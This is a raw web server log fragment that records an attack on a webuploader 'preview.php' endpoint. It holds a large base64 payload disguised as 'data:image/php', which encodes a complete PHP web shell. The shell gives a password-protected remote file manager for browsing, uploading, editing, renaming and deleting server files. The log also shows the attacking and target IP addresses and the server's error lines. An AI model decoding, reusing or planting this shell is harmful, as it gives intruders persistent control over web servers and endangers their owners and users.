'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:33+08:00 ] 119.42.146.234 POST 59.110.137.245/static/common/user/webuploader/0.1.15/server/preview.php [运行时间:0.002862s] [吞吐率:349.41req/s] [内存消耗:196.81kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 